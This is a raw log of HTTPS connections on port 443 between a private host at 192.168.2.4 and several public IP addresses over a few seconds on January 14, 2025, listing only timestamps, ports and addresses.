Jan 14, 2025 17:23:08.168256998 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168263912 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168267965 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168299913 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168303013 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168312073 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168339968 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168637037 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168693066 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168750048 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168792009 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168812037 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168853045 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168893099 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168937922 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.169465065 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169528961 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.169560909 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169604063 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169610977 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.169615984 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169636965 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.169698954 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169734955 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169739962 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.169747114 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.169770956 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.170527935 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.170603037 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.170608997 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.170653105 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254504919 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.254601002 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254602909 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.254626036 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.254646063 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254663944 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254673958 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.254753113 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.254805088 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254909039 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254924059 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.254931927 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.254966021 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.255578041 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.255644083 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.255681992 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.255681992 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.255700111 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.255749941 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.255759001 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.255817890 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.255867958 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.255882025 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.256139040 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.256175995 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.256181955 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.256524086 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.256571054 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.256572008 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.256584883 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.256622076 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.260128975 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.303097010 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.343547106 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.343780041 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.343877077 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.343926907 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.343946934 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.343977928 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.343983889 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344116926 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344204903 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344218969 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.344238997 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344317913 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.344331026 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344703913 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344743967 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.344750881 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344846964 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.344891071 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.344897985 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345005989 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345089912 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345094919 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.345115900 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345308065 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.345612049 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345767975 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345818996 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.345825911 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345925093 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.345973969 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.345979929 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.346669912 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.346721888 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.346728086 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.346831083 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.346875906 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.346884012 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.387769938 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.421067953 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.421427011 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.421494007 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.422950983 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.423016071 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.423247099 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.423353910 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.423389912 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.430906057 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431107998 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431158066 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.431175947 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431344032 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431399107 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.431406021 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431570053 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431621075 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.431627989 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431685925 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.431691885 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431744099 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431792021 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.431797981 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.431834936 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.432147026 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.432207108 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.432235956 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.432291031 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.433022022 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.433079004 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.433125019 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.433178902 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.433221102 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.433274031 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.433883905 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.433944941 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.464772940 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.464804888 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.515754938 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.518584013 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.518666029 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.518749952 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.518805027 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.518853903 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.518903017 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.519001961 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.519057035 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.519107103 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.519165039 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.519628048 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.519694090 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.519752026 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.519814968 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.519854069 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.519906998 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.519952059 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.519994020 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.520548105 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.520617008 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.520673990 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.520733118 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.520777941 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.520891905 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521114111 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.521114111 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.521128893 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521560907 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521624088 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.521635056 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521655083 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521686077 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.521692991 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521717072 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.521907091 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.521976948 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.523057938 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.523076057 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.767821074 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.768095970 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.770373106 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.919816017 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:08.919858932 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:08.919969082 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:08.920106888 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:08.920115948 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:08.922261000 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:08.922326088 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:08.963334084 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.963367939 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.963459015 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.965583086 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.965599060 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.040179968 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.040227890 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.040503025 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.045229912 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.045242071 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.416091919 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.416359901 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.416384935 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.417438984 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.417530060 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.421526909 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.421598911 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.421710968 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.431639910 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.431878090 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.431900024 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.432359934 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.433012962 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.433095932 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.433168888 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.461369038 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.461389065 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.476805925 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.476819038 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.509800911 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.531501055 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.531742096 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.531755924 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.532035112 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.532304049 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.532355070 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.533797026 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.566638947 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.567527056 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.567529917 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.567569971 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.567641973 CET	443	49769	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.567713976 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.567715883 CET	49769	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.567931890 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:09.567941904 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:09.577346087 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.577532053 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.577625990 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.579329014 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.579356909 CET	49770	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.579365969 CET	443	49770	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.691854954 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.692082882 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.692126036 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.692150116 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.692245960 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:09.692282915 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.692679882 CET	49771	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:09.692694902 CET	443	49771	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.023930073 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.074140072 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.085820913 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.085834980 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.086965084 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.087025881 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.091470957 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.091540098 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.091608047 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.091618061 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.136749029 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.146356106 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.146397114 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.146501064 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.146698952 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.146708965 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.219326973 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.219732046 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.219783068 CET	443	49772	35.190.80.1	192.168.2.4
Jan 14, 2025 17:23:10.219835997 CET	49772	443	192.168.2.4	35.190.80.1
Jan 14, 2025 17:23:10.636305094 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.636548042 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.636578083 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.637675047 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.638017893 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.638139963 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.638149023 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.638202906 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.683332920 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.787025928 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.787168980 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:10.787456989 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.787991047 CET	49773	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:10.788011074 CET	443	49773	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.044895887 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.044946909 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.047544956 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.047652960 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.047663927 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.462120056 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.462161064 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.462954044 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.463210106 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.463217974 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.508928061 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.509236097 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.509267092 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.510360956 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.510792017 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.510792017 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.510885000 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.563936949 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.659375906 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.659533024 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.660675049 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.660768986 CET	49775	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.660789013 CET	443	49775	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.931660891 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.931976080 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.932009935 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.932457924 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.933156967 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.933249950 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.933312893 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.933382034 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.933413982 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:11.933495998 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:11.933533907 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172259092 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172327042 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172369003 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172410011 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172444105 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172457933 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.172457933 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.172486067 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.172523022 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.172591925 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.173088074 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.173130989 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.173139095 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.176886082 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.176924944 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.176937103 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.176944971 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.176984072 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.176990986 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.218794107 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.259409904 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259465933 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259491920 CET	443	49776	104.18.95.41	192.168.2.4
